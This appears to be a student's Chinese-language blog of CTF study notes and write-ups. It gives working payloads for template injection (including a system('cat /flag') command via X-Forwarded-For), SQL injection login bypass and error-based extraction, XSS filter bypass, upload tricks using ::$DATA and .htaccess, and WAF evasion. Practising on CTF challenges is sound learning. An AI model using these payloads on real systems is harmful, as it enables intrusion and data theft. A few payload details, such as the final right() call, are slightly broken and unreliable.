0%

模板引擎

理解为一段固定格式等待输入的模板文件,以此实现业务内容与视图分离,能更加清晰的编写后端逻辑。(浅看了一眼,并未具体了解,给自己挖个坑)

SSTI

同为注入类攻击,服务器接收恶意输入后未加处理便将其作为模板内容的一部分。以The mystery of ip作为例子。

根据提示,ip联想到x-forwarded-for,抓包修改后查看页面是否出现变化

1
X-Forwarded-For: 1

此处之后尝试了xss无果后思路戛然而止,查看大佬博客才得知SSTI。运行尝试探测语句

1
X-Forwarded-For: {{1+1}}

确认存在SSTI漏洞,查看根目录文件

1
X-Forwarded-For: {{system('ls')}}

查看flag文件

1
X-Forwarded-For: {{system('cat /flag')}}

得到flag,但仍对于SSTI仍存在疑问,且对于最终回显flag两次的原因并不清楚

本文章用于补充记录编者学习过程中对sql理解不足之处

union select 1,2,3

union联合查询可以判断SQL语句中哪些地方可以被替代,在检验用户名密码时可以替换检验结果。
下面以BUUCTF中BabySQli举例:

此题的关键在于抓包得到注入点后,使用union select判断出用户名与密码的位置,查看源代码得知密码经过md5加密

使用union select,将原本查询出的密码用自己构造的密码代替,以此思路构造出payload:

1
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#

得到flag

xss

原理

接收数据时,未进行相关过滤,使得接收数据时若收到script语句时仍被正常执行,属于前端漏洞。危害取决于代码语句的影响。且会收到浏览器内核版本限制。

分类

反射(非持续型)

跨站语句局限于交互过程,只能够进行单次攻击。

攻击不触及服务器

储存(持续型)

跨站语句存储到站点数据库中,能够持续进行攻击。

DOM

参数先与本地前端代码交互,不直接由后端代码进行处理。

绕过

HttpOnly

什么是HttpOnly:cookie的一种属性,设置后无法通过js脚本读取到cookie,是一种有效防止xss攻击的手段

cookie无法被读取,所以采用读取账号密码的方法

  1. 无保存读取
    利用表单劫持,通过跨站语句将登录时的数据包传送给跨站平台,从而得到管理员账号密码。

    跨站语句必须上传在登录界面,限制较大

  2. 保存读取
    与无保存的区别在于不局限于登录框,任意存储型xss,如留言板等都可以实现攻击

代码过滤

onclick事件过滤

script或<>被过滤情况下,可以通过添加onclick事件构造形如以下的代码实现xss攻击

1
onclick:"alert(1)"

html编码

过滤关键字情况下通过编码进行过滤

CSRF

伪造其他用户请求进行攻击,需要得知对方地址结构信息。

esszy文章用于记录一段时期内的所学

::$DATA

win系统下的文件系统会将文件名+”::$DATA”中::$DATA后的数据作为文件流处理。
如:test.php::$DATA文件上传时,会自动去除::$DATA部分,变为test.php

用于黑名单检测且未过滤::$DATA时

. htaccess注入

htaccess文件用于apache服务下的配置,负责相关目录下的网页配置。通过htaccess文件可以实现301重定向、404错误页面等功能。

对于注入而言,其中SetHanler application/x-http-php配置内容为将其他格式以php形式解析

1
2
3
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

形如此段代码,作用为将后缀名为.jpg的文件以php格式解析,通过上传.htaccess文件使得上传jpg格式文件就能达到注入php脚本的目的

WAF绕过:

1:数据溢出

通过构造大量垃圾数据,插入数据包中,实现绕过

插入如filename等上传数据中可能导致服务器崩溃

2:修改符号

将数据包中的”修改为’或去掉部分”,使其无法闭合,实现绕过。(因未进行复现,猜测如安全狗等防护软件通过识别”等是否闭合来判断该参数是否需要进行检测)

3: 数据截断

通过%00 ; 换行截断数据,实现绕过

4:重复数据

重复上传数据,如:filename=”a.php”->filename=”a.php”;filename=”b.php”(感觉类似sql中的参数污染);也可以将将数据包自带数据加入上传数据中实现绕过

编者语:突觉大学时光依然过半,本人以网安作为目标,却自认无法用略知一二形容自己的水平,故觉羞愧,尝试搭建博客记录并督促自己的学习进度

1:初遇

此题为hard-sql,显然为考察sql注入掌握的题目,故按照以往的经验,首先判断闭合方式

1
-1' and 1=1#

居然收到了警告(出题人很调皮啊)

看样子是过滤了部分符号

2:相识

首先确定了此题过滤了空格,第一时间想到可以用%20绕过,但是尝试后发现%20也被过滤了,但联想到之前有过相似的过滤空格题目,当时在网上查阅到可以使用()进行绕过,显示密码错误,判断此题使用报错注入

后续编写payload时发现and与&&也被过滤,但奇怪的是,or并没有被过滤,所以有了第一个payload

1
-1'or(updatexml(1,concat(0x7e,database()),1))#

成功得到数据库名’geek’,呢么接下来的就很简单了
‘code’
-1’or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=(database()))),1))#
‘’’
吗?

居然还有被过滤的符号!

3:相知

仔细观察代码,发现可能是等号被过滤,使用1’or(1=1)#证实猜想,本人第一次遇到过滤等号的题目,着实令我很头痛,第一反应为可以使用类似空格%20的绕过,但搜索过后并没有相关结果,但是发现了可以使用like进行绕过

LIKE 操作符用于在 WHERE 子句中搜索列中的指定模式。(不使用通配符的情况下等同于=)

更新payload为:

1
-1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

得到了表名’H4rDsq1’。同理爆列名与flag

1
2
-1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1))),1))#
-1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1"))),1))#

产生的flag并不全,updatexml函数所显示的长度有限,使用right函数显示余下内容:

1
-1'or(updatexml(1,concat(0x7e,(select(right(group_concat(password)))from(geek.H4rDsq1))),1))#

得到结果:

1
flag{951b4eec-634f-4c2d-a99c-cb110059080e}